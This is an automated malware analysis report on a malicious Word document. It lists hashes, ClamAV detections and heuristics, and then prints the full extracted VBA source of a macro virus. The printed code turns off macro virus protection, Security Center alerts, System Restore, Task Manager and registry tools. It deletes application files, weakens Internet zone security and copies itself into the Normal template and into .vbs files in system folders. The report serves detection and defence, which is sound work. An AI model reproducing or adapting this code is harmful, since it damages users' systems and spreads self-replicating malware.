Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 344141da8ce770ce…

MALICIOUS

Office (OLE)

44.0 KB Created: 2005-10-16 19:13:00 Authoring application: Microsoft Word 10.0 First seen: 2015-09-29
MD5: 82bf3efbec793b48bb1f9fa08ef22a40 SHA-1: ffb7016e8a848714827e4f02eea20ba46f8b3ae5 SHA-256: 344141da8ce770ce52eaba1028c34198d731031f2c62ae2e127c0e510ec5924b
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions, which are indicative of older malware techniques. The script attempts to disable macro virus protection by writing to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level. It also includes code to repeatedly open and close the CD-ROM drive and hide desktop icons, likely as a distraction or to cause system disruption. The ClamAV detections (Win.Trojan.Pivis-2 and Win.Trojan.C-286) further support its malicious nature.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9919 bytes
SHA-256: 44e0ab9d5b58411e38f2bec6ef22ed77b93b34ba6fd13dd29be196f476203a10
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "Play"

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
'cd-Rom

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Option Explicit
' Hides the desktop icons

Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro Ludero"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.Play.AutoOpen"
On Error Resume Next
With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
   End With

MsgBox "Listen your musics.", vbOKOnly + vbInformation + vbSystemModal, "CD Music"

Dim lngReturn As Long
Dim strReturn As Long
Dim i
For i = 1 To 21
lngReturn = mciSendString("set CDAudio door open", strReturn, 127, 0)
lngReturn = mciSendString("set CDAudio door closed", strReturn, 127, 0)
Next
'Open and close the CD-Rom tray 21 times

Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
'Hides the desktop icons

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Ludero\Ledon", "Action") = "Saved"

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess", "Start") = "3"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "CurrentLevel") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1001") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1004") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1200") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1201") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1206") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1400") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1402") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1405") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1406") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1407") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1601") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1604") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1605") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1606") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1607") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1608") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1609") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1800") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1802") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1803") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1804") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1005") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1A00") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1A02") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1A03") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1A04") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1A05") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1A06") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", "1A10") = "0"

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center", "UpdatesDisableNotify") = "1"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center", "AntiVirusOverride") = "1"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center", "FirewallOverride") = "1"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center", "FirewallDisableNotify") = "1"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center", "AntiVirusDisableNotify") = "1"

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\windows NT\CurrentVersion\systemrestore", "DisableSR") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\systemrestore", "DisableSR") = "1"

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools") = "1"

WordBasic.Kill "C:\Program Files\Microsoft Office\Office\Excel.exe"
WordBasic.Kill "C:\Program Files\Microsoft Office\Office\Powerpnt.exe"
WordBasic.Kill "C:\Program Files\Outlook Express\msimn.exe"
WordBasic.Kill "C:\Windows\Calc.exe"
WordBasic.Kill "C:\Windows\Notepad.exe"
WordBasic.Kill "C:\Program Files\MSN Messenger\*.*"
WordBasic.Kill "C:\Program Files\MSN Toolbar\*.*"

If Day(Now()) = 3 Or (Day(Now)) = 6 Or (Day(Now)) = 9 Or (Day(Now)) = 12 Or (Day(Now)) = 15 Or (Day(Now)) = 18 Then
MsgBox "Files deleted.", vbOKOnly + vbExclamation + vbSystemModal, "Information "

End If

End Sub


Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro Ludero"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Project.Play.AutoClose"
On Error Resume Next
ActiveDocument.SaveAs FileName:="C:\WINDOWS\system32\Dimun.vbs"
ActiveDocument.SaveAs FileName:="C:\WINDOWS\system\Dimu.vbs"
ActiveDocument.SaveAs FileName:="C:\Winnt\System32\Dime.vbs"
ActiveDocument.SaveAs FileName:="C:\WINDOWS\Application Data\Musical.vbs"
ActiveDocument.SaveAs FileName:="C:\WINDOWS\HELP\Music.vbs"
ActiveDocument.SaveAs FileName:="C:\WINDOWS\FONTS\Readme.vbs"
ActiveDocument.SaveAs FileName:="C:\My Shared Folder\Dinuor.vbs"
ActiveDocument.SaveAs FileName:="C:\Program Files\Dinumon.vbs"
ActiveDocument.SaveAs FileName:="C:\Windows\Dolun.vbs"
ActiveDocument.SaveAs FileName:="C:\Windows\Girls.vbs"
ActiveDocument.SaveAs FileName:="C:\Windows\Game.vbs"
ActiveDocument.SaveAs FileName:="C:\Windows\Women.vbs"
ActiveDocument.SaveAs FileName:="C:\Windows\Tecnu.vbs"
ActiveDocument.SaveAs FileName:="C:\Dilen.vbs"

Dim iMacroCount
   Dim i
   Dim Exist
   Dim Instal
   Dim sMe$
   Dim sMacro$
   iMacroCount = WordBasic.CountMacros(0, 0)
   For i = 1 To iMacroCount
      If WordBasic.[MacroName$](i, 0, 0) = "Play" Then
           Instal = -1
      End If

      If WordBasic.[MacroName$](i, 0, 0) = "Play" Then
           Exist = -1
       End If
   Next i
   If Not Exist And Not Instal Then
     sMe$ = WordBasic.[FileName$]()
       sMacro$ = sMe$ + ":Play"
       WordBasic.MacroCopy sMacro$, "Global:Play"
      
   If NormalTemplate.Saved = False Then NormalTemplate.Save
     
 End If
   
   ActiveDocument.Save

End Sub

Sub ToosMacro()
Attribute ToosMacro.VB_Description = "Macro Ludero"
Attribute ToosMacro.VB_ProcData.VB_Invoke_Func = "Project.Play.ToosMacro"
    On Error Resume Next
    Application.DisplayStatusBar = False 'Disable tools macro
    
End Sub